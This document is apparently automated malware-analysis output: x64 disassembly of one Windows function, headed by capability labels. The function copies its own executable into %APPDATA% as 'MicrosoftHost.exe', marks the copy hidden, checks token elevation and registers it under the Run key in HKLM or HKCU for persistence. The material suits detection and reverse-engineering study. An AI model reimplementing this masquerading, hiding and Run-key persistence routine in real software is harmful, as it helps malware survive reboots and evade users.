Function at 0x140003160
Capabilities:
Get file attributes
Persist via run registry key
Set file attributes
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x110]
sub rsp, 0x210
mov rax, qword [0x140012010]
xor rax, rsp
mov qword [rbp + 0x100], rax
xor r14d, r14d
lea r8, str.APPDATA
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x70]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll__dupenv_s]
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x28], r14
mov rdx, qword [rbp - 0x70]
mov rsi, 0xffffffffffffffff
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], r14b
jne 0x1400031d0
lea rcx, [rbp - 0x40]
call fcn.140009470
nop
mov r8d, 0x104
lea rdx, [rbp - 0x10]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
movabs rax, 0x7fffffffffffffff
mov rcx, qword [rbp - 0x30]
sub rax, rcx
cmp rax, 0x20
jb 0x14000360d
lea r9, [rbp - 0x40]
cmp qword [rbp - 0x28], 0x10
cmovae r9, qword [rbp - 0x40]
mov qword [rsp + 0x30], 0x20
lea rax, str.MicrosoftHostMicrosoftHost.exe
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp - 0x68]
call fcn.140009c10
nop
mov rdi, qword [rbp - 0x58]
lea rbx, [rbp - 0x68]
cmp qword [rbp - 0x50], 0x10
cmovae rbx, qword [rbp - 0x68]
call fcn.14000a0a0
mov qword [rbp - 0x80], rbx
mov qword [rbp - 0x78], rdi
lea r8, [rbp - 0x80]
mov edx, eax
lea rcx, [rsp + 0x40]
call fcn.140001950
nop
lea rcx, [rsp + 0x40]
call fcn.140002520
test al, al
sete bl
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x1400032c6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400032c1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400032c1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ab1c
test bl, bl
je 0x140003435
mov rdi, qword [rbp - 0x58]
lea rbx, [rbp - 0x68]
cmp qword [rbp - 0x50], 0x10
cmovae rbx, qword [rbp - 0x68]
call fcn.14000a0a0
mov qword [rbp - 0x80], rbx
mov qword [rbp - 0x78], rdi
lea r8, [rbp - 0x80]
mov edx, eax
lea rcx, [rsp + 0x40]
call fcn.140001950
nop
lea rax, [rbp - 0x10]
mov rbx, rsi
inc rbx
cmp byte [rax + rbx], 0
jne 0x140003305
call fcn.14000a0a0
lea rcx, [rbp - 0x10]
mov qword [rbp - 0x80], rcx
mov qword [rbp - 0x78], rbx
lea r8, [rbp - 0x80]
mov edx, eax
lea rcx, [rsp + 0x60]
call fcn.140001950
nop
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x60]
cmp qword [rsp + 0x78], 8
cmovae rcx, qword [rsp + 0x60]
xor r8d, r8d
call fcn.14000a1d4
shr rax, 0x20
test eax, eax
jne 0x1400035fb
mov rdx, qword [rsp + 0x78]
cmp rdx, 8
jb 0x1400033ab
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400033a6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400033a6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ab1c
movdqa xmm0, xmmword [0x14000d180]
movdqu xmmword [rsp + 0x70], xmm0
mov word [rsp + 0x60], r14w
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x140003404
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400033ff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400033ff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ab1c
lea rcx, [rbp - 0x68]
cmp qword [rbp - 0x50], 0x10
cmovae rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
test al, 2
jne 0x140003435
lea rcx, [rbp - 0x68]
cmp qword [rbp - 0x50], 0x10
cmovae rcx, qword [rbp - 0x68]
or eax, 2
mov edx, eax
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov ebx, r14d
mov qword [rbp - 0x80], r14
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp - 0x80]
mov edx, 8
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140003486
mov dword [rbp - 0x44], 4
lea rax, [rbp - 0x44]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rbp - 0x48]
lea edx, [r9 + 0x10]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
cmovne ebx, dword [rbp - 0x48]
mov rcx, qword [rbp - 0x80]
test rcx, rcx
je 0x140003495
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rbp - 0x80]
mov r9d, 2
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov qword [rsp + 0x20], rax
test ebx, ebx
lea rbx, [rbp - 0x68]
je 0x1400034dc
cmp qword [rbp - 0x50], 0x10
cmovae rbx, qword [rbp - 0x68]
xor r8d, r8d
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140003538
inc rsi
cmp byte [rbx + rsi], 0
jne 0x1400034d1
jmp 0x140003509
cmp qword [rbp - 0x50], 0x10
cmovae rbx, qword [rbp - 0x68]
xor r8d, r8d
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140003538
nop word [rax + rax]
inc rsi
cmp byte [rbx + rsi], 0
jne 0x140003500
inc esi
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rbx
mov r9d, 1
xor r8d, r8d
lea rdx, [0x14000cb78]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
nop
mov rdx, qword [rbp - 0x50]
cmp rdx, 0x10
jb 0x140003581
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000357c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000357c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ab1c
mov qword [rbp - 0x58], r14
mov qword [rbp - 0x50], recv
mov byte [rbp - 0x68], 0
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x1400035cf
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400035ca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400035ca
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ab1c
mov rcx, qword [rbp + 0x100]
xor rcx, rsp
call fcn.14000a870
lea r11, [rsp + 0x210]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x60]
mov edx, eax
call fcn.140002440
nop
call fcn.1400011e0
int3